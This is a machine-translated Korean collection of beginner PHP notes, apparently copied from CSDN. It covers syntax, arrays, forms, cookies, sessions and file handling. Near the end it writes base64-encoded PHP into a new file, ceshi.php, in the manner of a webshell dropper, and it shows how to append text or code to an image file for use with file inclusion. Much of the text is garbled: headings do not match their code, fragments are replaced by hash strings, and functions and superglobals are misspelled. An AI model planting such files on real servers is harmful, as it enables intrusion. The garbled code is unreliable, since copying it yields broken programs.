>  기사  >  백엔드 개발  >  역사상 가장 포괄적인 PHP 소개 노트 모음(요약 공유)

역사상 가장 포괄적인 PHP 소개 노트 모음(요약 공유)

WBOY
WBOY앞으로
2021-12-22 18:59:097594검색

이 글은 PHP 입문 노트를 담고 있습니다. 언어 프로그램으로서 PHP 언어의 특수성이 점차 드러나는 과정에서 PHP의 매력을 느끼실 수 있기를 바랍니다. 모두에게 도움이 되길 바랍니다.

역사상 가장 포괄적인 PHP 소개 노트 모음(요약 공유)

소개

PHP(Hypertext Preprocessor)는 원래 Personal Home Page의 약어였으며 공식적으로 "PHP: Hypertext Preprocessor"로 이름이 변경되었습니다. 1990년대 국내 인터넷이 발달하기 시작한 이후, 인터넷 정보는 우리 일상 활동에서 지식의 거의 모든 영역을 다루었으며, 점차 우리의 삶과 공부, 업무에 없어서는 안 될 부분이 되었습니다. 통계에 따르면 2003년 이후 우리나라 웹페이지 규모는 기본적으로 2배의 증가율을 유지하며 증가 추세에 있다. 오늘날 가장 널리 사용되는 웹사이트 프로그램 개발 언어인 PHP 언어는 저렴한 비용, 빠른 속도, 우수한 이식성 및 풍부한 내장 기능 라이브러리 등의 장점을 갖고 있어 웹사이트 개발에 점점 더 많은 회사에서 사용되고 있습니다. 그러나 인터넷의 지속적인 업그레이드로 인해 PHP 언어에는 많은 문제가 발생했습니다.

동적 웹 사이트의 요구 사항에 따라 PHP 언어는 언어 프로그램으로서 적용 과정에서 점차 특수성이 나타나며 기술 수준은 웹 사이트의 운영 효율성에 직접적인 영향을 미칩니다. 오픈소스 코드를 갖고 있으며, 프로그래밍 측면에서 C언어 등 범용 언어와 매우 유사하다는 점이 특징이다. 따라서 이해하기 쉽고, 조작시 강력한 조작성을 갖고 있다. 동시에 PHP 언어는 높은 수준의 데이터 전송, 처리 및 출력을 갖추고 있으며 Windows 시스템 및 다양한 유형의 웹 서버에서 널리 사용될 수 있습니다. 데이터 양이 많은 경우 PHP 언어는 링크 표면을 넓히고 다양한 데이터베이스에 연결하여 데이터 저장, 검색 및 유지 관리에 대한 부담을 완화할 수도 있습니다. 기술의 발전에 따라 PHP 언어 검색 엔진을 맞춤화하여 고객 선호도에 따라 데이터를 분류, 수집 및 저장하는 등 개인화된 서비스를 제공할 수 있어 데이터 운영 효율성이 크게 향상됩니다.

주요 기능

(1) 오픈소스와 자유로움

PHP 인터프리터의 소스코드가 공개되어 있기 때문에 보안성이 높은 웹사이트에서는 PHP 인터프리터를 자체적으로 변경할 수 있습니다. 또한 PHP 런타임 환경 사용도 무료입니다.

(2) Speed

PHP는 문법적 특징은 C 언어와 유사하지만 C 언어의 복잡한 주소 연산이 없으며 객체지향도 통합한 언어입니다. 개념과 간결한 문법 규칙이 결합되어 조작 및 편집이 매우 간단하고 실용성이 뛰어납니다.

(3) 광범위한 데이터베이스 연결

PHP는 MySQL, ODBC, Oracle 등과 같은 많은 주류 데이터베이스와 연결을 설정할 수 있습니다. PHP는 다양한 컴파일 기능을 사용하여 이러한 데이터베이스와 연결을 설정하는 데 일반적으로 사용되는 기본 라이브러리입니다. 서비스.

(4) 프로세스 지향과 객체 지향을 함께 사용하세요

PHP 언어를 사용함에 있어서 각각 프로세스 지향과 객체 지향을 사용할 수 있고, PHP 프로세스 지향과 객체 지향을 혼합하여 사용할 수도 있습니다. 다른 많은 프로그래밍 언어보다 적은 기능을 수행합니다.

장점

(1) 인기 있고 사용하기 쉽습니다.

PHP는 현재 가장 인기 있는 프로그래밍 언어이므로 의심의 여지가 없습니다. 이는 전 세계 2억 개 이상의 웹사이트를 구동하며, 전 세계 공개 웹사이트의 81.7% 이상이 서버 측에서 PHP를 사용합니다. PHP에서 일반적으로 사용되는 데이터 구조는 모두 내장되어 있어 사용이 편리하고 간단하며 전혀 복잡하지 않으며 표현 능력도 상당히 유연합니다.

(2) 개발직은 많습니다

서버사이드 웹사이트 프로그래밍에서는 PHP가 취업을 더 쉽게 도와줄 것입니다. 인터넷 관련 많은 기업들이 PHP 개발 프레임워크를 사용하고 있기 때문에 PHP 개발 프로그래머에 대한 시장 수요는 여전히 상대적으로 크다고 할 수 있습니다.

(3) 개발 중

PHP는 성능과 현재 널리 사용되는 프레임워크를 고려하면서 클로저 및 네임스페이스와 같은 기술과 지속적으로 호환됩니다. 버전 7 이후에는 더 높은 성능의 애플리케이션을 제공하고 있습니다.

(4) 강력한 이식성

PHP 언어 패치 취약점 업그레이드 과정에서 PHP 언어의 핵심 부분은 구현이 쉽고 이식이 빠릅니다.

(5) 강력한 확장성

PHP 언어는 데이터베이스 적용 중에 데이터베이스에서 다양한 유형의 데이터를 검색할 수 있으며 높은 실행 효율성을 제공합니다.

단점

(1) PHP의 해석 및 연산 메커니즘

PHP에서는 모든 변수가 페이지 수준이며 전역 변수이든 클래스의 정적 멤버이든 페이지가 실행된 후에는 지워집니다.

(2) 디자인 결함 및 주의 부족 PHP는 스택 추적이 없고 다양한 취약한 입력이 없기 때문에 불투명한 언어라고 합니다. 명확한 디자인 철학이 없습니다. 초기 PHP는 Perl의 영향을 받았고, 매개변수가 없는 표준 라이브러리는 C 언어에서 도입되었으며, 객체지향적인 부분은 C++와 Java에서 배웠습니다.

(3) 재귀에 대한 지원이 부족함

PHP는 재귀를 잘 수행하지 못합니다. 허용할 수 있는 재귀 함수 수에 대한 제한은 다른 언어보다 훨씬 적습니다.


PHP 구문

e3cd78366e3ddc532b0914d8ea548cf4";

echo "n";

echo PHP_EOL; //Line break


반환 변수 유형: var_dump

<?php
$a=1;
function test() { //声明一个函数,名字为 test
    global $a; //在函数内声明并引用外部变量,注意这里是小写 global
    echo $a;
    echo "<br>";
}
test(); //使用函数
echo $a;
?>


<?php
$a=10;
$b=20;
$c=30;
function test() {    
$a=100;
$GLOBALS[&#39;a&#39;]=$GLOBALS[&#39;b&#39;]+$GLOBALS[&#39;c&#39;]; //引用全局变量,这里的 GLOBALS 必须大写
  echo $a."<br>";
}
Test(); //函数名不区分大小写
 echo "<br>";
echo $a;
?>


강한 참조 및 약한 참조
<?php
function test() {
    static $a = 0; //静态作用域,保留变量值
    echo $a . "";
    $a++;
}
test();//不使用static的话,每次输出都是 0
echo "<br>";
test();
echo "<br>";
test();
?>

자동 증가 및 자체 감소 출력

<?php
$a = 10;
$b = 20;
function test() {
    $a = 30;
    $b = 40;
    $c = $a + $b;
    echo  "函数内运算值:".$c;
    echo "<br>";
}
test();
$c = $a + $b;
echo "函数外运算值:".$c;
?>

조건부 판단

<?php
$a = "1111";
$b = 123;
$c = null;
echo var_dump($a) . "<br>";
echo var_dump($b) . "<br>";
echo var_dump($c) . "<br>";
$d = array(&#39;a&#39;, 1, abc); //数组
echo var_dump($d) . "<br>";
$e = true;
echo var_dump($e);
?>


<?php
$text1="ni hao";
$text2="hahaha";
echo $text1."        ".$text2."<br>"; //引用多个变量用 点 . (英文)连接     为空格
$a = strlen($text1);//计算字符串长度数
echo $a;
?>//空格也算作一个字符

판단 전환

<?php
$text1 = "ni hao";
echo "$text1" . "<br>";// “ ” 双引号输出会显示变量值
echo &#39;$text1&#39;;// ‘’ 单引号会显示变量名本身 
?>

array

<?php
$x = 10;
echo ++$x;//先自增后输出
echo "<br>";
$a=15;
echo --$a . "<br>";//先自减后输出
$y = 20;
echo $y++ . "<br>";//先输出后自增
$b=30;
echo $b--;//先自增后输出
?>

<?php
$x = 10;
$y = 20;
if ($x > $y) {//判断 x 和 y 的大小,如果满足 $x > $y 就输出 true 
    echo "true";
}else if($x==$y) {//else if 如果上面的判断不满足,再次判断  $x==$y  是否相等 ,如果满足就输出  $x."等于"$y;
    echo $x."等于"$y;
}
else {//如果上面的判断都不满足就输出 false
    echo "false";
}
?>


<?php
$x= (3>4)? "true":"false";//三元运算符
echo $x;
?>


count는 array

var_dump()는 데이터 유형을 반환합니다

strlen(); 문자열 길이를 반환합니다.


array(); 배열 만들기

$arrayname=array('name' =>"icq",'age'=> 20,'gender'=>true); //연관배열

echo $arrayname["name"];


$arrayName=array('1',"zhangsan",20,false,"beijingchangping"); //숫자 배열


echo $arrayName[3] / /Boolean true는 배열을 반복하기 위해 1

을 인쇄하고 표시합니다.

    <?php
$cars = array("BMW", "BinLi", "大众");
$arrlength = count($cars);
for ($x = 0; $x < $arrlength; $x++) {
    echo $cars[$x] . "<br>";
}//只输出值
?>


    <?php
$cars = array("BMW", "BinLi", "大众");
$arrlength = count($cars);
print_r($cars);//数据类型,下标值,值都打印出来
?>


关联数组:

<?php
$age = array("gao" => "30", "li" => "20", "zhang" => "10");
echo "gao is    " . "  " . $age[&#39;gao&#39;] . "  " . "     years old.";
?>


关联数组2:

<?php
$age = array();
$age["sun"] = ["20"];
$age["liu"] = ["30"];
$age["zhang"] = ["40"];
print_r($age);
?>


多维数组

<?php
$cars = array(
    array("111", 100, 50),
    array("222", 200, 100),
    array("333", 300, 150),
);
echo $cars[1][0];
?>


<?php
$age = array();
$age["sun"] = ["20"];
$age["liu"] = ["30"];
$age["zhang"] = ["40"];
// print_r($age);
foreach ($age as $key => $value) {
    echo "name is     " . $key . "   old    " . $value . "<br>";
}
?>


排序:

<?php
$cars = array("Blinli", "wzida", "muling");
$x = sort($cars);
echo $x;
print_r($cars);
?>

<?php
$cars = array("Blinli", "wzida", "muling");
$x = rsort($cars);
echo $x;
print_r($cars);
?>



$GLOBALS — 引用全局作用域中可用的全部变量

<?php
$x = 10;
$y = 29;
function add() {
    // global $x, $y;
    // $z = $x + $y;
    // echo $z;
    $GLOBALS[&#39;z&#39;] = $GLOBALS[&#39;x&#39;] + $GLOBALS[&#39;y&#39;];
    echo $GLOBALS[&#39;z&#39;];
}
add();
?>


PHP $_REQUEST 用于收集 HTML 表单提交的数据

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
    <form method="POST" action="request.php">
        name:<input type="text" name="name">
        <br>
        <input type="submit" name="submit">
</body>
</html>

<?php
$name = $_REQUEST[&#39;name&#39;];
echo $name;
?>


循环:

<?php
$a = 0;
while ($a <= 10) {
    echo "number is :" . $a . "<br>";
    $a++;
}
?>


do while 循环:

<?php
$i = 0;
do { //先循环
    $i++;
    echo "number is :" . $i . "<br>";
} while ($i < 5);//再判断
?>


<?php
function add($x, $y) {
    $z = $x + $y;
    return $z;
    // echo $z;
}
// add(5, 15);
echo "1+16" . "=" . add(1, 16);
?>


函数:

<?php
function add() {
    $x = 10;
    $y = 20;
    $z = $x + $y;
    echo $z;
}
add();
?>
 
<?php
function add($x, $y) {
    $z = $x + $y;
    echo $z;
}
add(5, 15);
?>

类和对象: 类 − 定义了一件事物的抽象特点。类的定义包含了数据的形式以及对数据的操作。 对象 − 是类的实例。

<?php
class Person { //定义一个类,名称为 Person 使用驼峰命名法,不能用数字开头,类似于变量的命名方式。
    var $name; //定义一个变量,值为空
    function say() { //定义一个函数
    echo "my name is ".$this->name;
                }
}
$xm=new Person; //实例化对象,具体的使用方式
$xm->name="小明"; //对象属性的赋值
$xm->say(); //访问对象的方法
?>


超级全局变量:

<?php
$string = "123"; //变量
define("DEMO", true); //常量
print_r($GLOBALS); //超级全局变量
?>

$_REQUEST 可以接收 GET POST 发送的数据包

 


$_SERVER['PHP_SELF']; //显示头部信息

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <meta charset="utf-8">
</head>
<body>
<!-- <form action="" method="GET">
    username:<input type="text" name="name">
    password:<input type="password" name="password">
    <input type="submit" name="submit" value="GET">
</form>
-->
<form action="<?php echo $_SERVER[&#39;HTTP_SELF&#39;]; ?>" method="POST">
    username:<input type="text" name="name">
    password:<input type="password" name="password">
    <input type="submit">
</form>
 
<?php
echo "提交的内容:   <font style=&#39;color:red&#39;>" . @$_POST["name"] . @$_POST["password"] . "</font>"
?>
</body>
</html>
//在PHP中通过打印函数引入我们的HTML+CSS+JS


PHP 连接MYSQL数据库

1、mysql PHP63cb185a123679dd52783a58a6ec5c47"; //指定字符集  

 

或者:  

header("Content-Type:text/html;charset=utf-8");  


PHP 集合 HTML

<?php
// echo "<meta charset=&#39;utf-8&#39;>"; //指定字符集
header("Content-Type:text/html;charset=utf-8");
echo &#39;<form method="POST" action="#">
        name:<input type="text" name="name">
        psswd:<input type="password" name="pwd">
        <input type="submit" name="submit">
    </form>&#39;;
 
$name = @$_POST[&#39;name&#39;]; //$_POST 对应 form method="POST"
$pwd = @$_POST[&#39;pwd&#39;]; //接收数据
 
if ($name != "" && $pwd != "") {
//判断当前提交的数据是否为空,不为空的情况下执行下面的代码
    echo "UserName is : " . $name . "<br>";
    echo "PassWord is : " . $pwd;
}
?>

(isset($name) && isset($pwd))

isset 检测变量是否设置,不为NULL

如果检测的对象是""(空),返回值是 1 false

var_dump 判断数据类型


PHP 常量

使用 define(变量的KEY(最好大写),变量的value,true/false,) 

define("UNMBER","this is a hacker");//不能用 $ 数字 开头

<?php
define("UNMBER", "this is a hacker", true); //定义常量
echo UNMBER . "<br>";//true 忽略大小写,默认是false
echo unmber;
?>
<?php  //结合函数使用
define("UNMBER", "this is a hacker", true); //定义常量
echo UNMBER . "<br>";
echo unmber . "<br>";
function test() {
    echo UNMBER;
}
test();
?>

<?php
$string="1234";
echo strlen($string); //计算字符串长度
echo $string[0]; //以下标方式取值
?>

反转:

<?php
$string="1234";
echo strlen($string); //计算字符串长度
echo $string[0]; //以下标方式取值
$string1=strrve($string);//反转
echo $string1; // 4321
$string2=substr($string,1);//舍弃第一位的数据 -1 只保留最后一位 -2只保留最后2位
echo $string2; // 234
echo trim("   123    456     789      ");//去除字符串前后的空格123     456     789
?>

cmd-->php~\php -r "phpinfo();"

php~\php -f ".php文件,可以拖拽到CMD窗口"

$str1 = "123";

echo $str1 .= "456";


PHP 表单


HTML 

style 选择器:

.error{}

p{}

#ID {}

echo htmlspecialchars("97406be772b96f315efa2717345f023c"); //实体化代码输出,忽略代码本身输出内容

echo stripcslashes("i\\m abc"); //删除转义符

trim 去除左右两端的空格

echo trim("   123    ");

preg_match( /匹配的表达式/(要用正则表达式),被匹配的字符串),返回值是 int (0|1)  bool

匹配上,返回 1 false 否则为 true 0

echo preg_match("/php/", "you know the php is bester language");

!preg_match 取反

Delimiter must not be alphanumeric or backslash in  分隔符不能是字母数字和  反斜线  


span 组合行内元素 class 

文件包含:引入某些文件,去使用该文件的内容。

方式有4种:

1、include "文件路径/文件名";

    如果引入文件错误,会报警告Warning,后续代码依旧会执行。

2、include_once "文件";

    用法同 include 基本一致,只需包含一次,后续可一直使用。

3、require "文件";

    包含文件时,如果找不到,会报错ERROR,后续的代码均无法执行。

4、require_once "文件";

    用法同require一致,只需包含一次,后续可一直使用。

支持目录跳转,可以使用相对路径 ../../..file 或者绝对路径

copy 1.png/b+1.txt/a 2.png

a 表示是ASCII格式

b 表示该文件是二进制文件

把文本文件加装到图片文件中。

文件包含,引入某些文件,去使用该文件中内容,在PHP中文件包含的函数有4个:

    (1)include "文件" /include("文件")

    包含文件时,如果找不到被包含的文件会警告,后续的代码依旧知道

    (2)include_once "文件"

    用法和include用法基本一致,包含文件只需要一次即可,后续可以一直使用

    (3)require "文件"

    包含文件时,如果找不到会报致命错误,其后续的代码均不执行

    (4)require_once "文件"

    用法和require用法一致,包含文件时只需要包含一次即可

被包含过来的文件中,如果按照PHP的标准语法来写代码,那么就会执行该代码;如果不是PHP语法写的文件,就会读取出来

copy 1.png/b+1.txt/a 2.png

a 表示该文件是ASCII文本格式

b 表示该文件是二进制文件


php 세션 관리

세션: 서버와 사용자 간에 데이터를 전송하는 방법 또는 방법은 채널이 데이터를 전송하기 전에 설정되어야 합니다. 세션은 클라이언트에서 쿠키를 통해 관리되고, 세션은 세션을 통해 서버에서 관리됩니다.

쿠키와 세션 비교:

1. 쿠키는 사용자의 브라우저에 저장되며 반환 패키지의 set-cookie를 통해 서버에 의해 설정됩니다. 쿠키는 사용자의 브라우저와 서버 간의 세션 상태를 나타냅니다. 쿠키 데이터는 나중에만 얻을 수 있습니다. 이 데이터는 일반적으로 시간에 민감하며 만료된 후에는 사용자가 다시 로그인해야 합니다. 쿠키 데이터를 사용하면 각 사용자 요청이 쿠키를 가져오고 서버는 쿠키의 적법성과 적시성을 확인합니다. 쿠키 전송은 브라우저의 동일 출처 정책을 따라야 합니다.

2 세션은 서버 측에 저장됩니다. 세션과 쿠키는 일대일 대응입니다. 서버는 또한 어떤 사용자가 사이트에 로그인했는지 기억해야 합니다. 일반적으로 세션은 /tmp 디렉터리에 저장됩니다. sess_XXXXX 형식의 파일 형식(예: sess_nti62h7rrrnb5udpvfbad13cg5s9kqrm) 현재 서버에서 브라우저에 할당한 쿠키는 nti62h7rrrnb5udpvfbad13cg5s9kqrm입니다. 사용자가 다시 로그인해야 합니다.


쿠키를 보는 방법:

1. 현재 로그인된 페이지의 URL에 javascript를 입력하세요. 경고(document.cookie)

2. 콘솔에 경고(document.cookie) 또는 document.cookie를 입력하세요.

3. 브라우저와 함께 제공되는 네트워크 관리 도구에서.


setcookie("key","123"); 은 HTML 코드 앞에 작성해야 합니다.

setcookie("이름","456",time()+5);

echo $_COOKIE["name"]."0c6dc11e160d3b678d68754cc175188a";

setcookie("이름","값",time ()-3600);//쿠키 삭제

print_r($_COOKIE);

$_SEESION["id"]=1;

$_SEESION["demo"]=true;

unset($_SEESION[" id"]);//seesion

session_destroy()에서 값 삭제;//모든 SEESION 값 지우기


session_start();//SESSION

웹 개발자 플러그인 열기


fopen( 파일 여는 방법,,,):

  • r 읽기 전용

  • r+ 읽기 및 쓰기

  • w 쓰기 모드로 열고 파일이 없으면 생성

  • a Append content

  • a+ 읽기 및 추가

$file=fopen("test.txt","a+");

fread($file,1024);

feof(); 파일에 도달했습니다

fclose( $NAME); 프로세스를 닫습니다


fopen(파일을 여는 방법,,,):

r 읽기 전용

r+ 읽기 및 쓰기

w 쓰기 모드로 열기 , 파일이 없으면 파일 생성

a 내용 추가

a+ 읽고 추가하고, 파일이 없으면 파일 생성

$file=fopen("test.txt","a+") ;

파일 읽기

fread($file,1024); //읽기 파일 가져오기

feof(); 파일 끝에 도달했는지 확인

fgets($file);

while (!feof($file)) { //끝에 도달했는지 확인

echo fgets($ file)."0c6dc11e160d3b678d68754cc175188a";//한 번에 한 줄만 읽습니다

}

while (!feof($file)) { //끝에 도달했는지 확인

echo fgetc($file)."< ;br>";//한 번에 한 줄만 읽습니다

}

unlink( ); 파일 삭제

fclose($NAME); 프로세스 닫기

echo file_get_contents("123.txt "); 파일 읽기

fputs(fopen("1.php","w" ),"83b1f8aaf7310e4f403be8137130718d");

echo file_get_contents("1.php");

웹마스터 도구

$str="PD9waHAgcGhwaW5mbygpOz8+" ;

$shell=base64_decode($str);

fputs(fopen("ceshi.php", "w") ,$shell);

base64_encode를 사용하여 암호화하고 base64_decode를 사용하여 해독

fputs(fopen(" ceshi.php", "w"),base64_decode("PD9waHAgJGV2YWw9KCRfUE9TVFsnayddKTs/Pg=="));

파일 래핑 n

관심이 있으시면 "PHP 비디오 튜토리얼"을 클릭하여 PHP 지식에 대해 자세히 알아볼 수 있습니다.

위 내용은 역사상 가장 포괄적인 PHP 소개 노트 모음(요약 공유)의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 csdn.net에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제